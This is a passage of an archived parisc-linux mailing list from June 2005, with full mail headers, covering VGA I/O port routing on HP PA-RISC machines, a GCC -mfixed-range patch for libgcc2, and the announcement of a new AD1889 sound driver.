	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: a3nJYrl1eSEkRb6WZHQhaXN1IGRvb8AS
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22817

On Thu, Jun 23, 2005 at 02:18:07PM -0600, Grant Grundler wrote:
> > Even without Astro VGA routing, the emulator or kernel could remap
> > those accesses so they get routed to the correct bus.  But that's
> > not enough, because then they won't appear on the bus in the
> > 0x3b0-0x3df range that the card is expecting.
> 
> Given the above, we can poke any value we want in to the Elroy registers
> in order to generate the right IO port space addresses.
> 

Given this, it's probably feasible then to wrap (out|in)X with a
vga_(out|in)X define in each of the drivers and emulate it as best we 
can with Elroy?

Sorry if I'm misunderstanding, this is over my head right now. :)
-- 
Kyle McMartin
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bjorn Helgaas <bjorn.helgaas@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Trident video card caused Kernel Panic on HP
	Visualize 785/B2000 with rebuilt 2.6.11-rc6-pa1 kernel
Date: Thu, 23 Jun 2005 14:46:08 -0600
Lines: 36
Approved: news@gmane.org
Message-ID: <200506231446.08345.bjorn.helgaas@hp.com>
References: <5.1.1.6.1.20050615221250.02a429c0@pop.singnet.com.sg>
	<20050623201807.GB28240@colo.lackof.org>
	<20050623203038.GD28881@roadwarrior.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623816 15017 80.91.229.3 (22 Nov 2014 02:36:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:56 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 Jun 2005 20:46:19 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx016) with SMTP; 23 Jun 2005 22:46:19 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9D24E7D784;
	Thu, 23 Jun 2005 14:46:17 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04520-02; Thu, 23 Jun 2005 14:46:17 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3E5107D786;
	Thu, 23 Jun 2005 14:46:16 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D8FCC7D784
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Jun 2005 14:46:12 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04221-08 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Jun 2005 14:46:12 -0600 (MDT)
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [156.153.255.205])
	by free.linux.hp.com (Postfix) with ESMTP id 5A34B7D783
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Jun 2005 14:46:12 -0600 (MDT)
Original-Received: from smtp2.fc.hp.com (smtp.fc.hp.com [15.15.136.253])
	by atlrel6.hp.com (Postfix) with ESMTP id 040D5B193;
	Thu, 23 Jun 2005 16:46:12 -0400 (EDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.11.146.30])
	by smtp2.fc.hp.com (Postfix) with ESMTP
	id 39498424B03; Thu, 23 Jun 2005 20:46:11 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
	by ldl.fc.hp.com (Postfix) with ESMTP id F34A21340F2;
	Thu, 23 Jun 2005 14:46:10 -0600 (MDT)
Original-Received: from ldl.fc.hp.com ([127.0.0.1])
	by localhost (ldl [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 04944-04; Thu, 23 Jun 2005 14:46:09 -0600 (MDT)
Original-Received: from eeyore.helgaas (lart.fc.hp.com [15.11.146.31])
	by ldl.fc.hp.com (Postfix) with ESMTP id D8DD61340D4;
	Thu, 23 Jun 2005 14:46:09 -0600 (MDT)
User-Agent: KMail/1.8.1
In-Reply-To: <20050623203038.GD28881@roadwarrior.mcmartin.ca>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at ldl.fc.hp.com
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: y3rJYmMZeSEkYr6WZHQhaXN1IGRvb4Dr
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22818

On Thursday 23 June 2005 2:30 pm, Kyle McMartin wrote:
> On Thu, Jun 23, 2005 at 02:18:07PM -0600, Grant Grundler wrote:
> > > Even without Astro VGA routing, the emulator or kernel could remap
> > > those accesses so they get routed to the correct bus.  But that's
> > > not enough, because then they won't appear on the bus in the
> > > 0x3b0-0x3df range that the card is expecting.
> > 
> > Given the above, we can poke any value we want in to the Elroy registers
> > in order to generate the right IO port space addresses.
> 
> Given this, it's probably feasible then to wrap (out|in)X with a
> vga_(out|in)X define in each of the drivers and emulate it as best we 
> can with Elroy?

The part I was talking about is for user-land.  Late last year,
Jesse Barnes added some new files in sysfs (see the bottom of
Documentation/filesystems/sysfs-pci.txt).

At the same time, they added some stuff to X to use these new
sysfs files for access to the legacy MMIO and I/O port ranges.
I don't think this has made it into a released X yet, but it's
in Xorg CVS.

I haven't really looked into the in-kernel accessors.  They'd
probably need work like you mention.  Ben H. proposed a VGA
arbiter that I think would be involved.  But my guess is that
you'd only need something like that if you want the in-kernel
framebuffer driver or something.  With the stuff Jesse added,
X can run the option ROM to initialize any card, so you may
not need the framebuffer drivers.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [gcc] should we teach gcc some new tricks?
Date: Sat, 25 Jun 2005 02:46:23 -0400 (EDT)
Lines: 52
Approved: news@gmane.org
Message-ID: <200506250646.j5P6kN2H029175@hiauly1.hia.nrc.ca>
References: <42B91C1400000F85@mail-1-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623817 15021 80.91.229.3 (22 Nov 2014 02:36:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:57 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: soete.joel@tiscali.be (Joel Soete)
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Jun 2005 06:49:56 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx040) with SMTP; 25 Jun 2005 08:49:56 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2F6867D6B5;
	Sat, 25 Jun 2005 00:49:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14224-09; Sat, 25 Jun 2005 00:49:53 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3013B7D6B9;
	Sat, 25 Jun 2005 00:49:52 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A97747D6A4
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 25 Jun 2005 00:49:50 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14224-06 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 25 Jun 2005 00:49:50 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id F26087D65E
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 25 Jun 2005 00:49:49 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j5P6kPnV029176; Sat, 25 Jun 2005 02:46:25 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j5P6kN2H029175;
	Sat, 25 Jun 2005 02:46:23 -0400 (EDT)
In-Reply-To: <42B91C1400000F85@mail-1-bnl.tiscali.it> from "Joel Soete" at Jun
	24, 2005 07:05:14 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: wpvOYgZieSEkWr6WZHQhaXN1IGRvb0Da
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22819

> mmm do I well understand that to force gcc to on;y use fr4-f5 and fr22-fr26
> (as do __muldi3), I had to use option:
> cflags-y        += -mfixed-range=fr6-fr21,fr27-fr28

Close, I used the change below.  This seems to build and check ok.
I don't know if it would be possible to cut back another register or not.
If I was going to try, I would add fr26 to the fixed list.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

Index: config/pa/pa.c
===================================================================
RCS file: /cvs/gcc/gcc/gcc/config/pa/pa.c,v
retrieving revision 1.294
diff -u -3 -p -r1.294 pa.c
--- config/pa/pa.c	23 Apr 2005 21:28:33 -0000	1.294
+++ config/pa/pa.c	24 Jun 2005 02:37:47 -0000
@@ -306,7 +306,7 @@ fix_range (const char *const_str)
      REG2 are either register names or register numbers.  The effect
      of this option is to mark the registers in the range from REG1 to
      REG2 as ``fixed'' so they won't be used by the compiler.  This is
-     used, e.g., to ensure that kernel mode code doesn't use f32-f127.  */
+     used, e.g., to ensure that kernel mode code doesn't use fr4-fr31.  */
 
   i = strlen (const_str);
   str = (char *) alloca (i + 1);
Index: config/pa/t-linux
===================================================================
RCS file: /cvs/gcc/gcc/gcc/config/pa/t-linux,v
retrieving revision 1.8
diff -u -3 -p -r1.8 t-linux
--- config/pa/t-linux	5 Dec 2002 01:57:27 -0000	1.8
+++ config/pa/t-linux	24 Jun 2005 02:37:47 -0000
@@ -6,7 +6,8 @@ LIB1ASMFUNCS = _divI _divU _remI _remU _
 LIB1ASMSRC = pa/milli64.S
 
 # Compile libgcc2.a as PIC.
-TARGET_LIBGCC2_CFLAGS = -fPIC -DELF=1 -DLINUX=1
+TARGET_LIBGCC2_CFLAGS = -fPIC -DELF=1 -DLINUX=1 \
+  -mfixed-range="fr6-fr21,fr27-fr31"
 
 LIB2FUNCS_EXTRA=fptr.c
 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [gcc] should we teach gcc some new tricks?
Date: Sat, 25 Jun 2005 08:29:56 +0000
Lines: 36
Approved: news@gmane.org
Message-ID: <42BD1604.4050403@tiscali.be>
References: <200506250646.j5P6kN2H029175@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623817 15023 80.91.229.3 (22 Nov 2014 02:36:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:57 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Jun 2005 08:30:18 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx042) with SMTP; 25 Jun 2005 10:30:18 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 246867D6BE;
	Sat, 25 Jun 2005 02:30:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14641-06; Sat, 25 Jun 2005 02:30:14 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 745137D755;
	Sat, 25 Jun 2005 02:30:13 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3E8247D6BB
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 25 Jun 2005 02:30:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14460-10 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 25 Jun 2005 02:30:09 -0600 (MDT)
Original-Received: from spoolo1.tiscali.be (spoolo1.tiscali.be [62.235.13.172])
	by free.linux.hp.com (Postfix) with ESMTP id A16B47D69A
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 25 Jun 2005 02:30:09 -0600 (MDT)
Original-Received: from [213.49.124.212] (helo=[213.49.124.212])
	by spoolo1.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1Dm636-0007Pp-5d; Sat, 25 Jun 2005 10:30:00 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.8) Gecko/20050513 Debian/1.7.8-1
X-Accept-Language: en
In-Reply-To: <200506250646.j5P6kN2H029175@hiauly1.hia.nrc.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: THPPYqVBeSEkWL6WZHQhaXN1IGRvb4DV
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22820



John David Anglin wrote:
>>mmm do I well understand that to force gcc to on;y use fr4-f5 and fr22-fr26
>>(as do __muldi3), I had to use option:
>>cflags-y        += -mfixed-range=fr6-fr21,fr27-fr28
> 
> 
> Close, I used the change below.
mmm I definetely have to go back to elementary school (4 + 28 -1 = 31 and not 28, my bad !!!)

>  This seems to build and check ok.
Ok I will try to rebuild libgcc2 and kernel with same options.

Btw 2.6.12-pa1 already build and boot fine with above mentioned options.
Anyway still hanging after 44 min of stress test.

So imho 2 first thinks to do:
	o apply the right 'fixed-range' option
	o apply 2.6.12.1 patch

> I don't know if it would be possible to cut back another register or not.
> If I was going to try, I would add fr26 to the fixed list.
> 
If still not work, the 3rd test I will do ;-)

I will advise.

Thanks again,
     Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] AD1889 Support (yes it's there!)
Date: Sun, 26 Jun 2005 02:26:15 +0200
Organization: ESIEE
Lines: 48
Approved: news@gmane.org
Message-ID: <20050626022615.15d0ccbb@Tatooine.r3z0>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623817 15028 80.91.229.3 (22 Nov 2014 02:36:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:57 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Jun 2005 00:26:44 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx067) with SMTP; 26 Jun 2005 02:26:44 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5D1B37D6D4;
	Sat, 25 Jun 2005 18:26:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20815-06; Sat, 25 Jun 2005 18:26:37 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 47CF97D6C7;
	Sat, 25 Jun 2005 18:26:36 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 06C727D6A4
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 25 Jun 2005 18:26:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20491-09 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 25 Jun 2005 18:26:29 -0600 (MDT)
Original-Received: from postfix3-2.free.fr (postfix3-2.free.fr [213.228.0.169])
	by free.linux.hp.com (Postfix) with ESMTP id 4B7707D63E
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 25 Jun 2005 18:26:29 -0600 (MDT)
Original-Received: from mail.zigoo.net (freebz.slashdirt.org [82.228.130.181])
	by postfix3-2.free.fr (Postfix) with ESMTP id 7E448C018
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Jun 2005 02:26:28 +0200 (CEST)
Original-Received: by mail.zigoo.net (Postfix, from userid 65534)
	id B1C1033EEB; Sun, 26 Jun 2005 02:26:27 +0200 (CEST)
Original-Received: from Tatooine.r3z0 (Tatooine.r3z0 [192.168.69.3])
	by mail.zigoo.net (Postfix) with ESMTP id 9111933E95
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Jun 2005 02:26:17 +0200 (CEST)
Original-Received: from localhost ([127.0.0.1] helo=Tatooine.r3z0 ident=varenet)
	by Tatooine.r3z0 with esmtp (Exim 3.36 #1 (Debian))
	id 1DmKyW-0002Lj-00 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Jun 2005 02:26:16 +0200
X-Mailer: Sylpheed-Claws 1.0.4 (GTK+ 1.2.10; powerpc-unknown-linux-gnu)
X-Spam-Checker-Version: SpamAssassin 3.0.3 (2005-04-27) on Tatooine.r3z0
X-Spam-Status: No, score=-52.6 required=5.0 tests=BAYES_00,LOCAL_RCVD 
	autolearn=ham version=3.0.3
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: EpPPYgsfeSEkMb6WZHQhaXN1IGRvb0DM
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22821

Fellow pa-ckers,

Some of you have been wondering whether they'll be able to enjoy quality
music playback on their AD1889-enabled PA-RISC machines one of these days
(BCJ-X000 class machines, basically).

Well, be happy, dance around, that day has come! ;)

The recent commits to the CVS have brought in a now really decent AD1889
driver, supporting full duplex playback and capture.

It works absolutely fine in OSS emulation mode. So far we have a bug with
the ALSA native mode, which produces unintelligible sound.[1]

Oh, don't use mpg123, madplay, ogg123 (and probably anything not properly
catching ctrl-C), because if you interrupt the playback before the end of
the file with Ctrl-C, you'll be playing russian roulette, with
statistically good chances of not surviving it. :)

This could be a bug in our signal handling code, because XMMS works just
fine for instance. sox works fine as well.

So my 2c is "use XMMS" or wait for the EOF in playback, with OSS
emulation, and use sox to record :)

More info at http://wiki.parisc-linux.org/AD1889

[1] For those interested, it appears that if you run something like:

while :; do cat /proc/asound/AD1889/AD1889; done

while playing something in native ALSA mode, it would somehow work. The
above reads registers on the card, but I don't know if that a PCI posting
issue, a timing issue, or something else. It's pretty strange since we
fully comply to the ALSA API (to the best of our knowledge, at least).

HTH

-- 
Thibaut VARENE
The PA/Linux Team
http://wiki.parisc-linux.org/ThibautVarene
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] AD1889 Support (yes it's there!)
Date: Sun, 26 Jun 2005 10:29:07 +0200
Lines: 36
Approved: news@gmane.org
Message-ID: <200506261029.07942.deller@gmx.de>
References: <20050626022615.15d0ccbb@Tatooine.r3z0>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623818 15029 80.91.229.3 (22 Nov 2014 02:36:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:58 +0000 (UTC)
Cc: Thibaut VARENE <T-Bone@parisc-linux.org>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Jun 2005 10:54:00 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx040) with SMTP; 26 Jun 2005 12:54:00 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
